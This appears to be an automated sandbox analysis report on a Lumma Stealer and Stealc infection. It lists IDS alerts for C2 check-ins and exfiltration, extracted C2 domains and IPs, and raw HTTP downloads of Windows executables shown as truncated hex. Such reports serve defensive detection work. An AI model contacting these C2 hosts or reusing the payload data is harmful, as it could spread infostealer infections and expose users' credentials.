Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:56793 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057119 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (navygenerayk .store) : 192.168.2.4:54880 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:59946 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50060 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50074 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057121 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store) : 192.168.2.4:52996 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49847 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49962 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49962 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:49951 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49974 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49974 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49997 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50066 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50066 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.4:50063 -> 23.192.247.89:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50064 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50064 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50055 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50077 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: 185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 13:32:03 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 13:32:15 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 13:32:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 13:32:16 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 13:32:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 13:32:18 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
